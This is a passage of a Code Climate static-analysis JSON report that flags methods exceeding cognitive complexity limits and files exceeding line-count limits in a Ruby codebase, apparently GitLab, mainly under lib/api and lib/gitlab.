`authenticate_enable_runner!` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fdde7223cb136c51a33619a48b7e10e9","location":{"path":"lib/api/runners.rb","lines":{"begin":203,"end":210}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `issues.rb` has 266 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"49d5eae8f5a9b7ef20af4a226580c9fb","location":{"path":"lib/api/issues.rb","lines":{"begin":1,"end":332}},"other_locations":[],"remediation_points":1430400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `filter_builds` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b03e3d209e73511af90d54684b559d3a","location":{"path":"lib/api/jobs.rb","lines":{"begin":176,"end":185}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `list_milestones_for` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8e051bd18be2af43510bfc934382e630","location":{"path":"lib/api/milestone_responses.rb","lines":{"begin":30,"end":37}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `assign_file_vars!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4be22423f2ecad963ae6b37b42f43510","location":{"path":"lib/api/files.rb","lines":{"begin":25,"end":36}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `assign_blob_vars!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e73cbaada1130cabaf0dfa4c08f70656","location":{"path":"lib/api/repositories.rb","lines":{"begin":22,"end":35}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `services.rb` has 836 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"68db3252fd8eaa9d286783dcd5099377","location":{"path":"lib/api/services.rb","lines":{"begin":2,"end":864}},"other_locations":[],"remediation_points":9638400,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `runner.rb` has 266 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"1e11149dffed6dc2e322c584638327bf","location":{"path":"lib/api/runner.rb","lines":{"begin":1,"end":316}},"other_locations":[],"remediation_points":1430400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `merge_requests.rb` has 322 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"3de9fe3d6f81552276ac816a0f052fb7","location":{"path":"lib/api/merge_requests.rb","lines":{"begin":1,"end":398}},"other_locations":[],"remediation_points":2236800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `handle_merge_request_errors!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4b0820e7ae582cfc463b18401dc7dfd6","location":{"path":"lib/api/merge_requests.rb","lines":{"begin":145,"end":159}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `helpers.rb` has 381 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"5db68c679d275d3963e0f9660988e103","location":{"path":"lib/api/helpers.rb","lines":{"begin":1,"end":533}},"other_locations":[],"remediation_points":3086400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `attributes_for_keys` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"63712b203f7a63b38bcb9eea53c3001d","location":{"path":"lib/api/helpers.rb","lines":{"begin":289,"end":299}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `project_finder_params` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"268f87eb93bd855d1807610fcddd6efe","location":{"path":"lib/api/helpers.rb","lines":{"begin":408,"end":420}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `present_carrierwave_file!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"360f85bdb8a06a280a62224143731f15","location":{"path":"lib/api/helpers.rb","lines":{"begin":440,"end":452}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sudo!` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ddabeb34a3b3e3067c6b88323ce10dcc","location":{"path":"lib/api/helpers.rb","lines":{"begin":468,"end":487}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `users.rb` has 652 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"da0cb2b4e7ad1056fa1e4f7a0fc774d7","location":{"path":"lib/api/users.rb","lines":{"begin":1,"end":837}},"other_locations":[],"remediation_points":6988800,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_groups` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"eea17dfbc1a8fa0837c83d51e2708400","location":{"path":"lib/api/groups.rb","lines":{"begin":42,"end":56}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `inject_rblineprof` has a Cognitive Complexity of 49 (exceeds 5 allowed). Consider refactoring.","fingerprint":"16157b2c336822ada397c30b37d0e63b","location":{"path":"lib/peek/rblineprof/custom_controller_helpers.rb","lines":{"begin":17,"end":100}},"other_locations":[],"remediation_points":4550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `inject_rblineprof` has 62 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9665938c091b2575d937990fbc609dac","location":{"path":"lib/peek/rblineprof/custom_controller_helpers.rb","lines":{"begin":17,"end":100}},"other_locations":[],"remediation_points":1488000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `flatten_comments` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3acab7e81bc6f21925b3944dc13c9d25","location":{"path":"lib/bitbucket_server/representation/comment.rb","lines":{"begin":87,"end":111}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_errors!` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5656af648a8148a4747d9750b93c8a0c","location":{"path":"lib/bitbucket_server/connection.rb","lines":{"begin":62,"end":74}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `extract_ref` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8b8bde6183c235753993662c791c5f50","location":{"path":"lib/extracts_path.rb","lines":{"begin":40,"end":74}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `assign_ref_vars` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"994b000ce7697f00c9d2fdef6d5f219c","location":{"path":"lib/extracts_path.rb","lines":{"begin":108,"end":133}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `gitaly_configuration_toml` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7ce1b00e1e01659ed25ab9357f9d47d7","location":{"path":"lib/gitlab/setup_helper.rb","lines":{"begin":14,"end":43}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_with_user_password` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0212b6bdb5ef9f95aaaad8df3d25a15a","location":{"path":"lib/gitlab/auth.rb","lines":{"begin":47,"end":83}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `rate_limit!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"18c084f7a7640dd9934777afe795d6e1","location":{"path":"lib/gitlab/auth.rb","lines":{"begin":85,"end":104}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `service_request_check` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fcdcb167117e9fbdc60bcccfa8c52ce9","location":{"path":"lib/gitlab/auth.rb","lines":{"begin":112,"end":128}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `deploy_token_check` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3349988ec83e4933b92c3a7e3824cc58","location":{"path":"lib/gitlab/auth.rb","lines":{"begin":185,"end":199}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `lfs_token_check` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4f1a1535569de597558d429c01457d5e","location":{"path":"lib/gitlab/auth.rb","lines":{"begin":202,"end":228}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_access_token_check` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1e8fcdca34d7247788de08e6051143d2","location":{"path":"lib/gitlab/auth.rb","lines":{"begin":230,"end":245}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `setup_subscribers` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"85ca5972d830d83ef927532dcf66122f","location":{"path":"lib/gitlab/performance_bar/peek_query_tracker.rb","lines":{"begin":17,"end":36}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fields` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dbfd2a1c630915fc2b4befaca081c456","location":{"path":"lib/gitlab/slash_commands/presenters/issue_base.rb","lines":{"begin":21,"end":39}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `format_response` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"57bd6ed972d21a41e82e376f51d7a76e","location":{"path":"lib/gitlab/slash_commands/presenters/base.rb","lines":{"begin":47,"end":58}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `text` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0fea0819cd1d628d704dab5f9f56ae5c","location":{"path":"lib/gitlab/slash_commands/presenters/issue_show.rb","lines":{"begin":40,"end":53}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `file.rb` has 255 lines of code 